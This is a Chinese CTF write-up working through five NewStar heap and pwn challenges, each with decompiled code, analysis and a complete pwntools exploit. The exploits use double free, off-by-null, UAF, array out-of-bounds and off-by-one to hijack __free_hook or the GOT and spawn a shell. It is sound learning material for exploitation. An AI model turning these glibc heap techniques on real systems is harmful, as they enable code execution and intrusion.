新生赛复现,主要是为了复现堆题。
0x00 前言(patchelf的正确打开方式) 正好最近在学习堆入门,想起来去年还有newstar的题没复现完,所以干脆拿来当堆入门的练手了。但是在做完准备写wp用动调分析的时候遇到了一个问题。我的主力Linux是Ubuntu22,glibc版本是2.35,我学习堆也是从2.35开始往低版本对比学习,如果题目环境glibc不一样(一般都不一样,2.35版本太高了),则需要用patchelf来修改动态链接库以便gdb分析,但是按照网上的流程来patch怎么都不能成功。
1 $ patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ Double
假如我想用以上命令patch Double这个程序,运行这个程序的时候就会变成这样:
然后我问了xswlhhh师傅,只要将两个参数分开执行就行,也就是
1 2 $ patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 Double $ patchelf --set-rpath ~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 Double
这样就能成功patch了。
--set-interpreter
后面的参数是对应libc的解释器ld文件。注意是ld文件不是libc.so.6!!!
--set-rpath
后面的参数是对应libc的目录。然后最后是你要patch的程序。
0x01 Double 分析 这是一道经典菜单堆题,题目名字已经明显提示了要用double free,并且给出的libc版本是2.23,没有tcachebin,0x28大小的chunk释放完直接就会进fastbin。题目只有add和del两个可以操作chunk的函数,在add的同时可以向chunk写入内容。
现在题目有个后门,只要在0x604070出写入0x666就可以getshell,也就是要满足任意地址写。观察程序发现del函数里free完chunk之后没有置空指针,存在UAF漏洞,但是只能在add的时候编辑chunk内容。所以我们利用UAF来实现doublefree,然后伪造劫持fd,修改fastbin链表,达到申请到目标地址的目的。需要注意的是,fastbin链表中存的地址是chunk地址,也就是说,我们要写入fd的地址应该是target-0x10。
下面来思考利用方式。我们申请两个chunk,再释放掉这两个chunk之后,fastbin长这样:
那么我们在申请一个chunk就会被分配到chunk0,也就是0x2442000处的chunk;申请第二个chunk则会申请到chunk1,第三个是chunk0。链表到此为止就结束了,因为如果我们在申请时向chunk写入了一些内容但并非有效指针,那他就不会再继续从fastbin里取出chunk。但是如果我们向chunk0中写入target-0x10的地址,因为我们释放了两次chunk0,这个fd对于链表中被取出的chunk0无效,但是对于未被取出的chunk0有效。所以申请第一个chunk后写入目标地址,然后申请两个垃圾chunk,再申请一个chunk就是我们想要的地址了,此时写入0x666就可以完成目标。
(这个是另一个gdb了,所以地址不太一样,但是000结尾的是chunk0,030结尾的是chunk1)
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *r = remote("node5.buuoj.cn" , 26771 ) context.log_level = 'debug' def launch_gdb (): context.terminal == ['xdce4-terminal' , '-x' , 'sh' , '-c' ] gdb.attach(proc.pidof(r)[0 ]) def add (idx, content ): r.sendlineafter(b'>' , b'1' ) r.sendlineafter(b"Input idx" , idx) r.sendafter(b"Input content" , content) def delete (idx ): r.sendlineafter(b'>' , b'2' ) r.sendlineafter(b"Input idx" , idx) def check (): r.sendlineafter(b'>' , b'3' ) target = 0x602070 add(b'0' , b'aaaaaaaa' ) add(b'1' , b'bbbbbbbb' ) delete(b'0' ) delete(b'1' ) delete(b'0' ) add(b'2' , p64(target-0x10 )) add(b'3' , b'cccccccc' ) add(b'4' , b'dddddddd' ) add(b'5' , p64(0x666 )) check() r.interactive()
0x02 game 题目 都是mihoyo害了出题人(不是 这道题很有意思,主要考察的是off by null的知识点,藏得蛮隐蔽的,可能是我对这种漏洞还不够熟悉。先来看看主函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { int v3; int v4; char v5[8 ]; int v6; int v7; int v8; int v9; init(); v7 = 0 ; choice(&v6); puts (&byte_2060); while ( 1 ) { while ( 1 ) { while ( 1 ) { puts (a1); puts (a2); __isoc99_scanf("%d" , &v4); if ( v4 != 1 ) break ; if ( v6 == 1 ) { puts ("no way!" ); exit (0 ); } if ( !v6 ) { v9 = 1 ; v7 += 0x10000 ; puts (&byte_20A8); if ( v7 > 0x3FFFF ) printf (&format, &system); } } if ( v4 != 2 ) break ; if ( !v6 ) { puts ("no way!" ); exit (0 ); } if ( v6 == 1 ) { v8 = 1 ; puts (&byte_2108); myread(v5, 8LL ); } } if ( v4 != 3 ) break ; if ( v9 != 1 || v8 != 1 ) exit (0 ); puts ("you are good mihoyo player!" ); __isoc99_scanf("%hd" , &v3); ((void (__fastcall *)(char *))((char *)&puts - v3 - v7))(v5); } exit (0 ); }
choice函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 _DWORD *__fastcall choice (_DWORD *a1) { _DWORD *result; int v2; puts (&s); __isoc99_scanf("%d" , &v2); if ( v2 ) { if ( v2 != 1 ) { puts ("no way!" ); exit (0 ); } puts (&byte_203D); result = a1; *a1 = 1 ; } else { puts (&byte_2021); result = a1; *a1 = 0 ; } return result; }
myread函数,也是这个程序的漏洞所在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall myread (unsigned __int8 *a1, int a2) { int i; if ( !a2 ) return 0LL ; for ( i = 0 ; i < a2; ++i ) { if ( (unsigned int )read(0 , a1, 1uLL ) != 1 ) return 1LL ; if ( *a1 == '\n' ) { *a1 = 0 ; return *a1; } *++a1 = 0 ; } return (__int64)a1; }
漏洞利用 myread自定义了读取函数,对输入的字符串做了截断处理,但是强行增加一个截断符在字符串后面就导致了一个null字节的溢出。主函数中储存读取的字符串的数组是v5,长度是8,在栈上紧接着就是变量v6,用来储存角色的选择。所以也就是说这个off by null可以使v6变成0。 我们再来看主函数,首先选择角色,然后选择任务,但是对应角色只能做对应任务。其中选择派蒙,做满4次任务1就可以得到system地址,而选择三月七做任务2则可以触发myread函数的执行。在任务处如果选择3,如果1和2任务都做过,那么就可以执行&puts - v3 - v7处的函数,并且以v5为参数。这里的puts地址指的是libc的地址,很容易就能想到构造system(/bin/sh)来getshell。但是角色只能选一次,想要两个任务都做到触发这个函数指针的调用,只能利用刚刚发现的off by null的漏洞。 首先角色先选1,然后做任务2,传入/bin/sh给v5,一定要保证输入字节够8个,才能溢出一个null给v6。这时候就可以做任务1了。如果题目附件没给libc文件,则需要做四次任务1来获得靶机的system地址以找到对应的libc版本。但是这里题目附件给了libc文件,所以直接通过symbols方法就能获取libc中puts和system的偏移,不需要真的执行4次(当然除非偏移很大真的需要或者你想要这么做除外。)这里需要注意一下一个地方,可能是我太久没做pwn题了,一开始思考偏移的时候我竟然想着要用extern段的相对位置,也就是下图0x4090和0x4058的差值。但是其实程序在运行时链接动态库后,这里会指向got表,也就是libc的地址,所以要找偏移要找libc中的偏移。
通过以下语句可以得到地址偏移是0x32190
1 2 libc = ELF("./libc-2.31.so" ) log.success(hex (libc.symbols['puts' ]-libc.symbols['system' ]))
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r = remote("node5.buuoj.cn" , 28734 ) libc = ELF("./libc-2.31.so" ) context.log_level = 'debug' log.success(hex (libc.symbols['puts' ]-libc.symbols['system' ])) def sendla (content ): r.recv() r.sendline(content.encode()) sendla("1" ) sendla('2' ) sendla('/bin/sh\x00' ) sendla("1" ) sendla('1' ) sendla('1' ) sendla('3' ) sendla(str (0x2190 )) r.interactive()
0x03 ezheap 这题是看着官方WP复现的,主要漏洞是UAF,还学了一些新的知识。这题也是一道经典的菜单堆题。一共可以申请16个note,每个note由一个chunk来维护note信息,我们称为data,和一个chunk来储存note内容,我们把他叫做content。
结构体的恢复 根据add函数的代码不难推测data用来存放一个结构体,前八个字节用来存size,最后八个字节用来存content的地址,中间则为0。我们可以在IDA中恢复这个结构体:
先在structure页面创建对应结构体 然后将notebook的数据类型改为struct Data* 这样代码看起来会顺眼一点。
UAF漏洞的利用 程序还会将一个note的size存在notesize数组里,显然程序里会有一个关于size的简单的检查。我们再看delete函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 delete () { signed int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); idx = read_idx(); if ( (unsigned int )idx < 0x10 && *(¬ebook + idx) ) free (*(¬ebook + idx)); else puts ("Invalid index" ); return __readfsqword(0x28 u) ^ v2; }
UAF漏洞给了我们机会可以申请到某个note的data处,这样可以对data进行打印或者修改,达到读写的目的。因为delete的时候程序只释放了data而没有释放content,所以我们只要先释放两个note,然后再申请一个和data一样大小的note,这样新的content就是第一个释放的data。
libc地址的泄露 题目给了libc文件,很自然可以想到要泄露libc地址然后劫持某个函数为system就好了。官方WP给出的泄露libc地址的方法是,申请一个mmap大小范围的chunk,这个chunk的地址和libc靠得很近,打印这个note的data通过计算就可以得到libc基址。然后去网上学习了一下关于mmap申请内存的知识,得知malloc时如果申请的内存大于128kb就会交给mmap来分配,而他管理的内存是一个独立的内存页,刚好在libc加载地址的上面(低地址处)。自己写程序试验了一下,确实mmap分配的地址和0x7fxxxxxxxx很近:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main (void ) { char *a = (char *)malloc (0x40000 ); printf ("Mmap allocated at: %p\n" , a); char *b = (char *)malloc (0x40 ); printf ("Brk allocated at: %p\n" , b); free (a); free (b); return 0 ; }
运行结果:
1 2 Mmap allocated at: 0x7fc84bc85010 Brk allocated at: 0x555acfc816b0
WP给出接收libc基址的语句是:
1 libc_base=u64(recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x10 +0x41000
这里的-0x10是从mem到chunk地址的计算,+0x40000显然是刚刚申请的mmap内存大小,但是这个0x1000是哪来的呢?花了半个小时去翻了glibc2.31的源码(实际上我并不知道是哪个版本的glibc,但其实根据给出的libc文件中函数偏移应该是可以确定的),最后在sysmalloc函数里找到了相关的语句:
1 2 3 4 5 6 7 8 size = ALIGN_UP (size, pagesize);
mmap申请的chunk有一个特殊的对齐要求,他必须是pagesize,也就是0x1000的倍数。比方说我申请了一个0x40000大小的chunk,加上存放chunk数据的0x10,就有0x40010大小,要对齐,最终就会分配出0x41000大小的chunk。
劫持__free_hook & getshell 回到题目,泄露了libc后,就要考虑system的执行了。这里的libc版本是2.31(通过偏移可以查),所以可以通过劫持__free_hook来getshell。
__free_hook对我来说也是个新东西,因为我开始学习的2.35版本glibc已经取消了hook函数。hook钩子是一个弱类型的函数指针,它指向free(), malloc()等函数。比如__free_hook,若它不为空,则执行它所指向的函数。所以我们可以通过劫持hook来改变程序的执行流。
题目里data处存放着content的地址指向content,那么我们可以构造__free_hook指向system的libc地址。edit函数会对data的size字段做检查,所以修改指针的时候要注意保留size不变,这样才能成功修改content为system地址,最后再修改一个data为/bin/sh然后delete掉这个chunk就getshell了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *libc = ELF("libc.so.6" ) log.success(hex (libc.symbols['system' ])) log.success(hex (libc.symbols['__free_hook' ])) r = remote("node5.buuoj.cn" , 28306 ) context.log_level = 'debug' def add (idx, size, content='a' ): r.recvuntil(b'>>' ) r.sendline(b'1' ) r.recvuntil(b'enter idx(0~15): ' ) r.sendline(str (idx).encode()) r.recvuntil(b'enter size: ' ) r.sendline(str (size).encode()) r.recvuntil(b'write the note: ' ) r.sendline(content.encode()) def delete (idx ): r.recvuntil(b'>>' ) r.sendline(b'2' ) r.recvuntil(b'enter idx(0~15): ' ) r.sendline(str (idx).encode()) def edit (idx, content ): r.recvuntil(b'>>' ) r.sendline(b'4' ) r.recvuntil(b'enter idx(0~15): ' ) r.sendline(str (idx).encode()) r.recvuntil(b'enter content: ' ) r.sendline(content) def show (idx ): r.recvuntil(b'>>' ) r.sendline(b'3' ) r.recvuntil(b'enter idx(0~15): ' ) r.sendline(str (idx).encode()) add(0 , 0x20 ) add(1 , 0x50000 ) add(2 , 0x20 ) add(3 , 0x20 ) delete(1 ) delete(2 ) add(4 , 0x20 , 'a' *24 ) show(4 ) r.recvuntil(b'a' *24 ) libcbase = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-0x10 +0x51000 log.success(hex (libcbase)) free_hook = libc.symbols['__free_hook' ]+libcbase system = libc.symbols['system' ]+libcbase edit(4 , p64(0x50000 )+p64(0 )+p64(0 )+p64(free_hook)) edit(1 , p64(system)) edit(4 , b'/bin/sh\x00' ) delete(1 ) r.interactive()
0x04 message_board 题目 附件给出了libc2.31的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { int v3; int v4; int i; init(argc, argv, envp); board(); for ( i = 0 ; i <= 1 ; ++i ) { puts ("You can modify your suggestions" ); __isoc99_scanf("%d" , &v4); puts ("input new suggestion" ); __isoc99_scanf("%d" , &v3); a[v4] = v3; } exit (0 ); }
board函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int (**board())(const char *s){ int (**result)(const char *); int v1; __int64 v2[18 ]; int i; puts ("Do you have any suggestions for us" ); __isoc99_scanf("%d" , &v1); if ( v1 > 15 ) { puts ("no!" ); exit (0 ); } for ( i = 0 ; i < v1; ++i ) { __isoc99_scanf("%ld" , &v2[i + 1 ]); printf ("Your suggestion is %ld\n" , v2[i + 1 ]); } puts ("Now please enter the verification code" ); __isoc99_scanf("%ld" , v2); result = &puts ; if ( (int (**)(const char *))v2[0 ] != &puts ) exit (0 ); return result; }
分析 主函数没有return,board函数的return也没法利用,所以肯定不是ROP。看到主函数里有一个自定义数组索引的输入,很容易想到数组越界。一看a数组刚好在bss段,所以可以利用数组越界修改exit的got表为one_gadget来getshell,偏移为-28。这里需要注意一个问题是,a数组储存的数据类型是dd(DWORD),也就是四个字节,所以写libc地址的时候需要分两次写到-28和-27偏移。不用system的原因是一个是没必要,第二也没地方写binsh。
在数组越界之前,在board函数里需要绕过一个“认证”,它要求我们输入puts的libc地址,这也就要求我们泄露libc地址。这里有个知识点,scanf无返回特性,利用这个特性我们可以结合printf打印出留存在栈上的libc地址,从而通过检查,进行数组越界。下面我们讲讲这个特性。
scanf无返回特性 这个特性比较有意思。众所周知,scanf只会接收格式化字符串指定的数据,那不符合的那些输入怎么办?答案是拒之门外或者扔掉。举个例子,如果他原本要接收%d的数据,结果你输入了123abc,那它会只接收123,而abc还存在stdin中;如果输入了超出了int范围的数字就会高位截断,也就是我们常说的整数溢出;如果直接输入字母,那么他不接收任何东西,如果原本变量上已经初始化了一个值,那么这个值依然不会变,但是如果接下来有多个scanf,程序会直接全部跳过;如果输入的是单独一个‘+’或‘-’,因为这两个字符对于int来说是合法的,但是又不存在数字,所以scanf选择接收,但是不会改变变量的值。综上所述,我们只要在scanf输入加号减号就可以跳过一次输入,并且不影响下面的输入。关于scanf其他特性,可以去看C0Lin师傅的总结:以PWN视角看待C函数——scanf 。
我们看回到这道题,我们要尝试打印libc地址,栈上一般都会有libc地址留存,但是如果我们输入东西肯定会覆盖掉原本的内容,所以就需要用加减号绕过。我们先来看看原本board函数栈上的布局:
v2数组从rbp-0x98(0008处)开始,所以v2[2]就是一个libc地址,所以我们只要绕过2条建议的scanf就可以拿到libc地址了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *r = remote("node5.buuoj.cn" , 27152 ) libc = ELF('./libc-2.31.so' ) context.log_level = 'debug' r.recv() r.sendline(b'2' ) r.sendline(b'+' ) r.recvuntil(b'is ' ) log.success(hex (int (r.recvuntil(b'\n' ).decode()))) r.sendline(b'+' ) r.recvuntil(b'is ' ) libc_stderr = int (r.recvuntil(b'\n' ).decode()) log.success(hex (libc_stderr)) libcbase = libc_stderr-libc.symbols['_IO_2_1_stderr_' ] log.success(hex (libcbase)) libc_puts = libcbase+libc.symbols['puts' ] log.success(hex ((libc_puts))) r.recvuntil(b'code\n' ) r.sendline(str (libc_puts).encode()) one = [0xe3afe , 0xe3b01 , 0xe3b04 ] libc_one = p64(one[1 ]+libcbase) one_l = u32(libc_one[:4 ]) one_h = u32(libc_one[4 :]) r.sendlineafter(b"You can modify your suggestions" , str (-28 ).encode()) r.sendlineafter(b"input new suggestion" , str (one_l).encode()) r.sendlineafter(b"You can modify your suggestions" , str (-27 ).encode()) r.sendlineafter(b"input new suggestion" , str (one_h).encode()) r.interactive()
0x05 god_of_change 思路 菜单堆题,有add,delete和show三个功能,其中add中写content的时候存在off by one的漏洞,自然而然想到劫持size字段造成overlapping。接触了这么多堆题,不难发现,提前规划堆布局很重要,所以先来考虑getshell的方式。最简单直接的getshell方式就是劫持__free_hook执行system函数,前提是知道libc基址。这道题开了PIE,所以很难通过got表来打印出libc地址,但是slot的数量上限是32个,每个slot大小最大是0x7F,所以可以考虑通过unsortedbin来泄露libc地址。所以这道题最重要的布局其实是对于泄露libc地址进行的。
利用Unsortedbin泄露libc地址 Unsortedbin由一个循环链表来维护,如下图所示:
而main_arena其实是一个libc地址,他在libc中与__malloc_hook函数有着固定的偏移,一般是0x10,如果有libc附件,我们就可以轻松得到libc基址。问题在于我们如何获取main_arena的地址。显然链表头(最后一个chunk)的fd和链表尾的bk(第一个chunk)都指向main_arena,如果我们能够free掉这两个chunk其中之一后依然能够打印chunk内容,我们就获得了libc地址。
动调分析 首先要先想办法把一个chunk放进unsortedbin中。程序中限制了申请的size不超过127,所以只能通过off by one来修改size。想要放进unsortedbin中至少要超过0x400的大小绕过tcachebin并且不能和top chunk相邻。由于每次只能改一个字节,所以需要通过chunk0修改chunk1,通过chunk1覆盖chunk2的头去改掉chunk2的size。这时候释放掉chunk2就能进unsortedbin。
如上图会发现我还申请了很多0x80大小的chunk,是因为我需要防止修改完size的chunk2和topchunk相邻。如果相邻,那么free之后会直接被topchunk合并。
接下来申请一个0x40大小的chunk,它会从chunk2中被切割下来,剩下那部分依然存在unsortedbin中。此时unsortedbin中只有一个chunk,所以他的fd和bk都是main_arena的地址。
可以看到这个地址和main_arena的偏移是0x60,所以libc的基址是泄露的地址-0x70-__malloc_hook的偏移。
接下来要劫持__free_hook为system的地址,并且要提前写入/bin/sh。思路是修改一个chunk的fd为hook的地址,然后申请一个相同大小的chunk就能申请到hook,然后修改其为system地址,然后立刻释放掉写有/bin/sh的chunk就getshell了。
我们先申请多一个0x40(总之是chunk2要一样的大小)大小的chunk,然后释放掉(chunk3)放入tcachebin中,后面用来申请到hook位置。然后释放掉之前申请的chunk2和chunk1。此时chunk1的一部分和chunk2是重叠的,所以申请chunk1大小的chunk就可以修改chunk2的fd,顺便在user_data开始处写sh,别忘了不要覆盖了chunk2的size字段。然后申请两个chunk2大小的chunk,第二个chunk就在hook地址,修改掉其指针为system。然后释放掉chunk1就getshell了。
通过debug找到hook的地址确认劫持成功:
但是毕竟是patch过libc的可能libc的加载地址还是不太一样(上面libc地址一片空白我就觉得很奇怪了),在本地打不通,所以直接在线环境去尝试一下,是能通的。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *r = process('./god_of_change' ) libc = ELF('./libc-2.31.so' ) context.log_level = 'debug' context.arch = 'amd64' def add (size, content=b'deadbeef' ): r.recvuntil(b'Choice: ' ) r.sendline(b'1' ) r.recvuntil(b'size: ' ) r.sendline(str (size).encode()) r.recvuntil(b'content: ' ) r.send(content) def show (idx ): r.recvuntil(b'Choice: ' ) r.sendline(b'2' ) r.recvuntil(b'idx: ' ) r.sendline(str (idx).encode()) def delete (idx ): r.recvuntil(b'Choice: ' ) r.sendline(b'3' ) r.recvuntil(b'idx: ' ) r.sendline(str (idx).encode()) add(0x18 ) add(0x18 ) add(0x38 ) for i in range (9 ): add(0x78 ) delete(0 ) add(0x18 , b'\x00' * 0x18 + p8(0x61 )) delete(1 ) add(0x58 , p64(0xdeadbeef )*3 +p64(0x441 )) delete(2 ) add(0x38 ) show(3 ) r.recvuntil(b'content: \n' ) libc.address = u64(r.recvuntil(b'\x7f' ).ljust(8 , b'\x00' )) - \ 0x70 - libc.sym['__malloc_hook' ] log.success('libc_base: ' + hex (libc.address)) add(0x38 ) delete(3 ) delete(2 ) delete(1 ) add(0x58 , flat(b'/bin/sh\x00' , 0 , 0 , 0x41 , libc.sym['__free_hook' ])) add(0x38 ) add(0x38 , p64(libc.sym['system' ])) delete(1 ) r.interactive()